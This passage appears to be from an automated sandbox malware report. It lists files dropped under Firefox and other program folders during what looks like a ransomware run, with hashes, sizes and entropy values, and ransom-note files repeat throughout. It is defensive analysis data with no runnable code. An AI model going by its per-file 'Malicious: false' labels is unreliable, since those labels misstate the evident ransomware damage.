Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\icon.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.655087277558681
Encrypted:	false
MD5:	AF9C2208B321280C344D0E6449D5C877
SHA1:	F9E4FDE47D86C91E8BF0560F5F544164855E261E
SHA-256:	D3C54B9A4C02CC6CA5A4AEB1A7EF6DDED10598A72E97616AA6DCEDDA1E73C37A
SHA-512:	0EFC6661E74B0C733842C4711FB66FE6BBF84A30DBD4AFCE3F8289AACEEB6D58860AE702B819366100813B3E230831B0B4B4929721CE3AAF1FAC5BBBCC3984FE
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\install.rdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681160049964286
Encrypted:	false
MD5:	2731911534364C33F4C4F2E274FCF319
SHA1:	4E35232B558E640EF7707274B30B97ED7EEC7C59
SHA-256:	5AE9CD24954D6EEC0500B9027291E83779A09D375255FDB3F82B925552893540
SHA-512:	52ADD561016F7C0290DFE0DD6855D3C1D4A966DC2FC2CDB56DDB129F806FCC33577999E098BC8F192D81C7332AB2D3CBD28399CF42423DE8EAD763FC2058E267
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\omni.ja
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712060269596062
Encrypted:	false
MD5:	E1782955399C48CEEE3F495F4A33DF1C
SHA1:	6AE5C0B312F18F796B1D03D04667A2C51F4392FC
SHA-256:	F7D338706A73A86FE6974BBD009BB14126EB9DA2CAF5D15A68400485E883A88F
SHA-512:	A10EDA51EA7388B3384C31A1D9E39A54B0DEBF205FFB4529D23F7AF30DA7E0985724BE6FC0959D9B5FEE45ED42024AEB1ECCF2ABBECAFD33A25D640A7E49DBA2
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\amazondotcom.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.681591701417194
Encrypted:	false
MD5:	F8717DA24F6A5549BADC5026DA4A6A32
SHA1:	6AD9A38F47E3180D528034A1C03DE3558190AB82
SHA-256:	C6BC91B25956E8F6BDBD778EC1FBF865D33D89FBCEBCFF3A31DCF6DFC7E1163A
SHA-512:	F6E8DC514BBA09471C148E108C22BC6642299D4A716565F2843C870DA02EAC3F8C74572ED9A1CF457B447BCBC851E7F449314F1B35DA448792075BB99B0B2550
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\bing.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678261891773231
Encrypted:	false
MD5:	54C869DEF7DC990964EFEBD14B86D450
SHA1:	C23277B41DE9016CB565E0D11702DA493FF97AD1
SHA-256:	3D21048C3DB10C4FDD9815FD21CE88020528C54784346713F78006CD3E1D7F2E
SHA-512:	BE49710890C1C3752FAC270CE06A98C6D588657A47EB5D29831ECA6B8C4B66804341F55F24CF217E94854DE6B38F42FE0D2C28364F64549B3FFD70EDA221FC06
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\ddg.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6836876324843075
Encrypted:	false
MD5:	EDBD85F814E8005EABFE3906D644C1E8
SHA1:	C88B1C558C481526A8EAE33337CFC48A7E99B197
SHA-256:	E8915A0400F7D4B070675084CF47A3D5E95297EE7D9E52D0E32366B3513F3612
SHA-512:	4BF72ED90F103072C511DCA42F1E0837FFFDA445CBC8EDC332B8622909BF9B014B35D106C9CB6DAA855AA55DDB45BC30C779800385414A6D91D8D2DB48683587
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\eBay.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.712849615626604
Encrypted:	false
MD5:	04724187E76F8AB5BD8D42F874FD4505
SHA1:	3503333F103E37729E42439BA4833FB29E16CDEE
SHA-256:	0E1940DBC93049ABC4DD43D0C9F486A051658D414C29131DF929E67FB9F57591
SHA-512:	11B0568192A124ACC0876F12AF02555A31C76EAE38F789E455613A0FB6ABA9B2B46D30485302FB7311AEDA73AD91438D6AA35FED2FEE803C4CD78CCCE8578085
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\google.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670081392831304
Encrypted:	false
MD5:	E9C66122FD2DCB2E232D000FCCD10C47
SHA1:	ECCB181ED611B54C12FAB6126A0133D07D5A339E
SHA-256:	DF7385D53EA615E54760B75F39475F3F781AEBA07C36298C5E7773FB1F3E14E8
SHA-512:	1DB33562C205770CE0C69802E38425155D6BAE501BE838C4E7CBF63A556BDE9F043875330C91C78EAE3C9500C843AA37B3753BDC68AA3CD3B9DB59E16EE74286
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\twitter.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.650424355224339
Encrypted:	false
MD5:	E813DF4943466ECB9BBA20D0278FEA18
SHA1:	A59EA3F426FF0AA22E634A631E5E741821AA4CB1
SHA-256:	486E9DD79B4002AEAEAABF0705CBAC42F19C08CC659DC1A96D3566049317EA81
SHA-512:	2545AF8A5013205B7AB48CC9192F21E4ECD02443C91D17D2C13ACCFB7A8AA4757E77983E765EB6F685DCC7CF41B9F2B2FFE373B785D87ECAAED0C65348231D61
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\wikipedia.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68755784123242
Encrypted:	false
MD5:	C5138CAEA0364429A88FF4E30D5AE63F
SHA1:	20BEA5D89877FC0D7AFC03BC7BF11B0C445F41E2
SHA-256:	769FD65B66A1C5DD34FC7C8B019045EBECDA3AA824C407A3F898B92C9C1B7BDA
SHA-512:	5CCEB70A920011D253FB67D5B0E7DC2BE83B073983D463F5AB9C55808B6A355F2C60395D8943A2415636A63837BDBD5AD03F8EF0457B84C6977F8B8F66256802
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\browser\searchplugins\yahoo.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695218916604874
Encrypted:	false
MD5:	D61D12FD82C41F206E6643BA4E4038D2
SHA1:	7A688C331BCF10AF1378C89B1D2D0CE8B37C5D2F
SHA-256:	E15DDE0DDB99836CE5DDE41E22C228A83C59EC7E6D261B6FBC7CFC0FAC94F81E
SHA-512:	22CF115F32F46B46BE1203DA0470A308DF702239AB54D72235F86688F94DD15F276F0DE844E91633938F0E8F2971E2ECDF9776A586FDA745BE0D0E30EF6DDC3C
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\crashreporter.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669268297573267
Encrypted:	false
MD5:	26F5B60795F4F867C2CC88B8AA9B7EED
SHA1:	3CF898E5F5B282B28D303F50FD7DBFA124B5E6B4
SHA-256:	1784A57C4011A2AF0FCF4FA378511883088A3965E49D726B2B9F386FCB96ECB2
SHA-512:	6CA690D77C7B8AF492CFF93A91CE625DA3C9DB67A36A51FC9A2FCD65A59D5E61FAC0F7C3A8DEAEBFED2D0427471FFAB7F7845A8D49219BE811C44FE874A81271
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\defaults\pref\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\defaults\pref\channel-prefs.js
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.697641188262854
Encrypted:	false
MD5:	C084E61E9317E36A33A30466B2F53751
SHA1:	EDE74B27A06A8352FB458F81A01A4DA69FCB2EF7
SHA-256:	855F269B04DD9AE77EEC50AD8221519B09776BDE0C32FE8CB464DC5E709DF137
SHA-512:	0DB6B1148737A2DE924C5626AAFAA3587B0D28E7196F592E351F00C48522F72A129ED0570CDA15F7E770950C1D58C6840C6DF1C3D431DAC5CEED763237E40EA8
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\dependentlibs.list
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.666765818877132
Encrypted:	false
MD5:	15820DE49AEB537769EE35E794177906
SHA1:	166BEC4F53018DD2FEE54348F6D663484E8AE752
SHA-256:	7B2296E091012F8666614B7851583165B14C4FBF98F05CCB865F6BB71A742C17
SHA-512:	EABE29C395351E105ACB875C2BD2E1133D68345634A56561FD59C67AF09ADF32E7B49B8DE4521F9D1624EC9B48631002C7DD382489E9518EA3859E4A0BBC41D5
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\dictionaries\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\dictionaries\en-US.aff
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706843796012668
Encrypted:	false
MD5:	3A4C21701E875577B9B74427114E1D9B
SHA1:	C803C98877D96CA1037CDC80DF91ECB5735A8308
SHA-256:	5DEE93AA2ABDDDE5FF76550B3AB49D359A54CBB461FEF9B44B8F5EE858133E73
SHA-512:	68F63E4AEED1CA31BB18238C9D44568E3925743B1AA280F8DD2A563DA5106F7A230C8168AC6F20B198212A3C59B47772C7E457C428F648B47EAA777D39FB510D
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\dictionaries\en-US.dic
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6761969744078575
Encrypted:	false
MD5:	550D49AC345A202B6BDE169ECF2EF357
SHA1:	3B8594B81CB754982BD8BBA6DF940368A64F80F9
SHA-256:	7856D30EE4692C3B8D10805C5FA7F1FD8073AFDA90766120B424E2C92F7B6506
SHA-512:	EE9543A5633E77C3F2615A0FEDE3DF8EED39EE1EFEAEF2083BF4819C94425B8703A83A3AECD9FA28C210A219F4341285D5464A7B3D698E4376BCAC2E16802712
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\freebl3.chk
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.654215221848691
Encrypted:	false
MD5:	AD8856033C5220A09D45F4C983FF49DA
SHA1:	03B1E0050C9D1046CB2676E9A683BB6696B34412
SHA-256:	6283C28C34A2AAE0F4D3B550FBCF001A5E2E319F2CD27085CD97781D5CC7340D
SHA-512:	F16C141FEB906CED98B47453E16AA156486E763FBD521B10468ED17E610FFA5A59CA782887F505823E3BA012D1BE8DCDFA23BC75A75399095532549F07072C93
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\gmp-clearkey\0.1\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\gmp-clearkey\0.1\clearkey.info
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.70108110015447
Encrypted:	false
MD5:	B6CBE0A6B71269425974E981A3CB43BD
SHA1:	88BEF2F1F25959E66DC6FAC66632B0EBDB430098
SHA-256:	9AF764ADCB97B082414FB66AA2AA450A51F2B2970286821880E41F1AC8FB34CA
SHA-512:	D9E5D062A25FCC4C64CB5DFBA4EC356423216F6E29FA2F8C7A15024A58C48FD06F254E84B706F2DF6D51610C21212912AAF843AA72C9844FF91BA71321042022
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\nssdbm3.chk
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6385069051465475
Encrypted:	false
MD5:	9847F1408171CC0ED3CC272D5B5FB8FF
SHA1:	D996FEBFFFDAE908187E4DA69D4E269EDBB3DEFD
SHA-256:	116A6889F5B6A738C0575AD86C1A282371C25031B1AE774A63F2D62BC6327D89
SHA-512:	0B6FA0066F0FE1F3E1595FBCB649F4C777342659D00D49A265EC4A63440B9FDB13C7EFC8CD0E6AE50704B61553C24986CE45AD8C02399333A6D635FE2EB9A9D1
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\omni.ja
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682440007899697
Encrypted:	false
MD5:	79FCE5DF714FB95448B4DD7425625858
SHA1:	3DB0795E75D58E984BFB4CB77565B4EA128C44BD
SHA-256:	483045824699B2D9325E8F6CF544D41870499DDA381BEEA21B02A9FF6867C229
SHA-512:	C64F3ABE5CFD8308C83982EEEE1129F4555F9ECBB5334CA09491103486C6C8D65C8FB2DA5170D10E4375247036D87F8F6E1C0F73B4D1B6C4A846D9F8E8A1C5FC
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\platform.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.706461845051854
Encrypted:	false
MD5:	A10FEF9BCAE13F59093C8A25671ECB26
SHA1:	34E84971D2B39E9A04E303F26F617B97A1ADDDDC
SHA-256:	A60EEBB3AD0762FEF065911CB02F8378E9E284A902A3FA98825BEC59BE3F6325
SHA-512:	D3CDB6F081E8B3C45EC94E7028D9CEE0B02E214EE13D411C59DB5B4C81B07D839AE5C8F60646937B4C265389803C67305F21F57BE68A7BC62F1E405E926791B1
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\precomplete
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.686211576397128
Encrypted:	false
MD5:	82B6207BEC517AF6296C57B3859EE061
SHA1:	F85077FE177F37837F42D88C746A6116432691ED
SHA-256:	50447EA3155408E48A8A3EB14231DD8EDDAAA0481A6CFED5DE567F120E0846E2
SHA-512:	A31D0258EFC9713875086A9A18641BC5EC26E7299522BE9737A4A32B29D9AC4A4D532AD6A49A2D2C911E6759B293FDB5EFFA4BA1EBC44B943063158C7642EF57
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\removed-files
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.678752013996082
Encrypted:	false
MD5:	5E8884A10C9F695091E2576B97E2B7D8
SHA1:	60DA06721390463407E749D2BB5EA6DA3A9E7495
SHA-256:	991487035BE0B569F720C68C603DA959F0E6C84C41AB96098E5E90DE2F7DEC60
SHA-512:	E604301CBD211B421EEC7467A9200D580F7E61F7DA499E866F2452EB6E342C9297826560AD1B2A45628D768F09558FE924E17F3E880F16295F4B9F1B688D6BF3
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\softokn3.chk
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.616928568764895
Encrypted:	false
MD5:	484FB8F0B7E7860116171F1FE7DCBDF9
SHA1:	D8D2B6F8D53B15627455D04D81E10CC34CE2BCA5
SHA-256:	95144CFE17A0BAD18A9DAAB04F04B6046D5504E641F0C80B6B528B4CD96C2FFC
SHA-512:	A10C595DFCF7FB72CF4CB13F3FCAF56BB658F23F972AA5DF77D8C1C198BF691D2E99186E9202800E173B82F5E0B36B198A9E7B9974C6E2242BAE2ACDEAA0C751
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\uninstall\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\uninstall\shortcuts_log.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.654527580327613
Encrypted:	false
MD5:	13C07AD249C0C99EE0B4D063FE7A2E68
SHA1:	CE5DE75717880E2D412C90B8A2C662F14D520333
SHA-256:	09E0991CE0FF3995AA3CE4DC0F6EF09BA747537FCDAE3BE86E33DD7EC10D851D
SHA-512:	FD17C7088A6098710DFB3AEEE9A3F18908FD6D8DF6D97D37CCF5C76DE524B0F47001D2B8C1D5D7A5AB760620325753E27A4C970BD0EED60F2BA216871C162B80
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\update-settings.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692350671097001
Encrypted:	false
MD5:	E17DF8EFAABF191D9594573DDA8F8BF3
SHA1:	5F49E11009A9063CA190B719ABCEE005FD60EA4B
SHA-256:	3C35393391A73CF83DF05EA3D84F10761AB912F5A65DCA9E3417944B3CFC8558
SHA-512:	5532B806016D069F149452458D70026A2FA76FFA8034EAAAF0B628027F8B12F677E5CB5EBBD80878425D37425787B246E635094294C84FA2B00BBB9B808C51FB
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\updater.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663154900560161
Encrypted:	false
MD5:	680D19D710520884A3893B34D8F48CCF
SHA1:	708BEE0779673E150B6D8740052AB771891DA1CD
SHA-256:	0B27A098E4B02E6B2916B91EAB7BA76EB620C0D4D20AB05D2BA2912268E787E3
SHA-512:	5CD6C7CC7CE95CF6CCB54DA05FDDEF9DF1C1B2E37447F9A4E8BCF4CDF35520B45F56CA54261A4140DCE7A8A5A7CEE92E97EDBD7DE58A0802D9548C311DF39CE1
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\voucher.bin
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.667758268579662
Encrypted:	false
MD5:	79505EE6327E182E264D3CC6E6CCB5DC
SHA1:	9BA1744AF83016EEBCF89B37EAF12C588CD4BB27
SHA-256:	177FEB230D6F7AD2AAAA0FB89FB9BB867A597C08F6E9163A086DCBAB6976F37A
SHA-512:	FC531EA93FAE897EB7562E19FAEBA1B3540C69BAA8D27A8F83CB387CB3B0D2FF14330BF717D06D1E8B020A77F813F33C712A9E4B5FA2D9B7BB0D1F01D97D25AB
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\webapprt\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\webapprt\omni.ja
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696107156463939
Encrypted:	false
MD5:	0A2CFB4B18A916AE8E1049D018A41B88
SHA1:	758DBCDF3C18B34908C6DD8065057F98C1252651
SHA-256:	C0FBEC6D3D95C115C302751570BA13C1B04D335A0BCDE3D324CC306309B594E8
SHA-512:	01755B273CE2DC4326A398DD7A59DB29484790D1D9F2DAB73374B094460373C3D6F89C06072BB0226256F34DAB2309E8A5BB9D79E26D25EB275FAD33EA672207
Malicious:	false

C:\Program Files (x86)\Mozilla Firefox\webapprt\webapprt.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.700654170853648
Encrypted:	false
MD5:	5FA7EC687EEDA454C7A70560C6A16C7A
SHA1:	2CB635CD837ED8C58194F21611E903C8949293FF
SHA-256:	501EA7C8B6FCC5343409EA8142364A60F45E3042D7B0A3A886ED37F1CA777665
SHA-512:	DD6F853A24FC4BD7B011461BAF4612B1AD26A8024A4BB84B685A5A7AB1793B1DBB42BCD3E680757775030060B389F36186FD676A25B3C0F9F40C9683F2279D1F
Malicious:	false

C:\Program Files (x86)\Mozilla Maintenance Service\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Mozilla Maintenance Service\updater.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6806850108719384
Encrypted:	false
MD5:	2E0B1DDC338ADE276D876CC76E9936AA
SHA1:	95AE599341E0DF626B5E26026184D82CBB98AFBA
SHA-256:	54AB5525A9310ED8D35A92F5302BAC2A4E09BE83D7D44F9F3ED23FC2FF20FABD
SHA-512:	1CCD2D454CA3C960466DFCB817BF8549840D6283384D902B226CF2D16A35ACBC887D77DBE0FD3288696BFF39AD79B998E8FEC63AD890DDD3927F9DCDB366F0C5
Malicious:	false

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\RedistList\FrameworkList.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.690388608978691
Encrypted:	false
MD5:	0BAE0F3F5C59120171C50929EB7FE146
SHA1:	45526289F02485419D8D36DB19B98309AA9F0701
SHA-256:	0E7C85EA7AB8D6712A106A583B647A391855F4414B3B7BF250766D84BFC0EE9D
SHA-512:	9C6C88893D1390559D8CE899D77CA7D95CBA29F0DC75A12E4C12A8402E3C65D689754E6F9F1B463E680C3C5736FE80FA291F5A4DCC5B4F86D7169D3FD9AEBF09
Malicious:	false

C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\WinFXList.xml
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.632437402928567
Encrypted:	false
MD5:	44DD4E7113EF52ADBDD900E1C2CCD239
SHA1:	2D59762DF0FEC282A4A5E586D9CD23CE7EBB80A9
SHA-256:	3AFFDB0E7D277E9BCB15A217C3518EAA5748443CCC6CD5222ED243B1AD8D1CDE
SHA-512:	5247E2E1B46E48AC3D453B17075EAC0680F6473EC7F11FB39A7D2F1945A89574470478E96E0B8195745EF9AFBF5BFBE08FDD8126E01DB79AE8491470D9886DC3
Malicious:	false

C:\Program Files (x86)\Sol Edit\.sol Editor.url
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714622809762713
Encrypted:	false
MD5:	882BF504708CF933AAE1D6985180B435
SHA1:	EE5F17E6C422AB08BA43E7B5B846DF3708DF9E18
SHA-256:	022C54388FE067DFDCECAB2983129D9F19045A470A1C4887DDD8A88CEFEA4F47
SHA-512:	3A4F2688AC465371709D1B8012B147B8DF1771E1F4FCB9E3EEA005E63288381E7398A76528F7F189C8D484E70ACB68986226BCD17F960534C12AD257C4367226
Malicious:	false

C:\Program Files (x86)\Sol Edit\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Program Files (x86)\Sol Edit\License.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69788035060004
Encrypted:	false
MD5:	BC4A2F524A6F8341DD30BAE9799DCC95
SHA1:	4804F9CF40309B95DAFD6DB638C6D01F748B08CE
SHA-256:	B0F0A61072B29BD331D5ADE660DD8FA5B9DAC22F1DA7B336CF6519901DFFDE32
SHA-512:	69D19261701F36ADD3B1C31AAA04D212395A3738B03BB808687CF6B7C06CD23BE2611DE88CC55CD49A7E8FCFB99CA5EB16D30232032982E751F6D0764788239D
Malicious:	false

C:\Program Files (x86)\Sol Edit\sample.sol
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.680160524865342
Encrypted:	false
MD5:	FE81B3EEFA8E7A6103D1924B2F5AE94A
SHA1:	92D768E760A6292FAB418A4FE565C826F22180F1
SHA-256:	30B42042C399AAFED7FA47E587A91903059F0BC23E03B799F0D52E13819B817B
